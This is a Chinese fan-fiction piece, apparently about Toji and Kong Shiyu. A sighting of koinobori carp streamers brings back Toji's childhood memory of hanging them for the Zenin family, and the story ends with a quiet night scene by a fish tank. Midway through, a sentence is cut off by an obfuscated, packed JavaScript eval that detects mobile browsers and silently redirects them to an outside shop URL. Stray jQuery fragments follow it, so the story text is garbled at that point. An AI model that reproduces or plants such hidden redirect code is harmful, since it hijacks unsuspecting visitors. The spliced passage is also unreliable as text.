五月头上，太阳还没沉。
孔时雨单手搭在方向盘上，另一只手夹着烟，烟灰积了半截没弹。皇冠开过一座桥。桥下是条不宽的河，水绿得发暗，两岸之间拉了一道绳，绳上挂着一长串鲤鱼旗——黑的真鲤打头，红的紧跟，后面一串小的，黄的蓝的，被风灌满，一条一条朝同一个方向张着嘴，像在逆着空气往前游。
こどもの日（儿童节）还有几天。这种东西这阵子到处都是。
“买西瓜吗？”甚尔本来歪着靠窗，闭着眼问。
“还没到时候。”
“哈……”
孔时雨踩着油门过桥。眼角扫到副驾。甚尔不知什么时候睁了眼，落在窗外那串布鱼上，盯得很扎实。脸上什么都没有，连呼吸的节奏都没变。一个活人能把自己收起来到这个程度，孔时雨当刑警那些年也没见过几个。
桥过完了。鲤鱼旗退到后视镜里，越来越小。甚尔的头慢慢转回来，靠回椅背，重新闭上眼，像刚才那一眼不存在。
孔时雨把烟灰弹进门边的烟灰缸，没说什么。前面红灯，他踩了刹车，又松开。车继续向前。
——
梦先来的是味道。
霉、腥气，冰凉，从下面往上压。有一层东西在地面，气压，软的，在动，相互挤压陷没。没有光。东西在暗处蹭来蹭去，皮肤先知道它们在那儿，眼睛不知道。
然后是坠落。被人从后面拎起来，像拎一只猫，往那片他看不到的东西里扔。身体在半空里翻了个面。落下去之前那一瞬最长。
身体替他接下了。骨头没断，皮没破，落进那堆东西里又自己站起来，这具身体不需要他点头就会活下去。他一个箭步蹿到没有东西的角落——暂时没有东西，但他知道它们会跟过来。上面有人在看。什么东西伴着腥气破风而来，像一捧看不见的飞刀，划过手臂、脸上。
划过嘴唇。
再睁眼是白天。他在一根竹竿上，身子很小很轻，手里攥着一卷布。
竿子是凉的。手心贴上去往上蹭，竹子光滑，只有那一道道节能搭住手。小腿内侧夹着竿子，皮肤跟竹皮磨擦，磨得发烫。越往上竿子越细，他的份量压上去，竿尖就往一边偏一点，又晃回来。
顶上的风。天空的风。把后背的汗一下吹干。他用两条腿和一只胳膊绞住竿子，腾出另一只手，把布鱼一条一条往绳扣上系。系一条，松开手，风从下面兜上来，啪地把那条灌满，绳子猛一沉一拽，布鱼在他手边活过来，张着嘴往上拱。黑的那条最大，灌满那一下劲也最大，差点把他从竿子上带下去。他换口气，腿绞紧一点，接着系下一条。
黑的最高，往下越来越小。风一来，整串都鼓起来，活了，齐刷刷张着嘴朝天上游。他攀在最上头，停了一会儿。风把他和那些布鱼一起托着，脚底下是空的。
——
甚尔醒的时候没出声。
孔时雨在客厅。他这个点很少睡得着，多半就这么坐着，抽烟，看窗外那点城市的光，或者什么都不看。烟抽到第几根他无所谓。
卧室那边床板响了一下。接着是脚落地的声音，赤脚，比平时慢半拍。门口的影子先到，人后到。
甚尔站在客厅和走廊交界的地方，没开灯。背后潮了一片，T恤贴在身上。呼吸比平常深，比平常更均匀——均匀得太刻意。右手垂着，手指半握，像刚松开了一件不确定要不要松开的东西。
孔时雨没问做了什么梦。这种梦他知道，不是头一回，近来少了，可他认得——禅院的梦长一个样，醒过来的人每次都是这副只在人间一半的样子。问了也没用。要人家从那里头再走一趟过来回答你？
他伸手，按了一下鱼缸灯的开关。再站起来把窗户开到最大，凉风灌进来。
蓝光亮起来，铺满半个客厅。缸里几条热带鱼被惊动了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579699|202172||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
一下，慢悠悠散开，又聚拢。水是恒温的，按时换、按时喂。鱼在里头来回慢慢游，或者悬着。不跃龙门，也不往哪儿去。
甚尔走过来，在鱼缸前站住，看那几条鱼。蓝光打在他脸上，把表情抹平了。他看了很久。
孔时雨给他倒了杯水，搁在缸边台子上，自己又点了根烟，没催他喝。
过了一会儿，甚尔开口。没看孔时雨。他冲着那缸水开口，或者那扇窗，或者谁都不冲。
“鲤鱼旗挺贵的。”
孔时雨点头。抽烟。
“我挂过很多。”
安排一个手脚利索、不怕摔的孩子去干爬高的活，孔时雨能想象到。
“禅院家的孩子都有。”
鱼在缸里转了个身。
“禅院家的旗大，在我那个院子也能看见。”
孔时雨没接。烟灰长了，他在缸边磕了一下。水里那团蓝光晃了晃，又定住。甚尔没再说。屋里只剩水泵那点低低的、不间断的声音。
甚尔伸右手去拿那杯水，喝了一口。
孔时雨按灭了那根烟。
“明年买一个？”孔说。
“我三十了。”
“那买个大的。”
“……神经病。”
杯子被放回台子上。呼吸松下来了。他靠在缸边，又看了会儿鱼。
孔时雨把鱼缸的开关按掉。“睡了。”他说。
蓝光灭了。客厅一下黑回去，窗外那点城市的光重新浮上来。两个人在黑暗里站定。
然后甚尔先转身往卧室走，赤脚踩在地板上，踩实了，不是飘在云里的步子。孔时雨跟在后面。
床上甚尔的体温还在。他躺下去。外面偶尔一辆车经过，灯影从天花板上慢慢扫过，又没了。
甚尔的呼吸很快沉下去。
孔时雨睁着眼又躺了一会儿，听了听，翻个身，也睡了。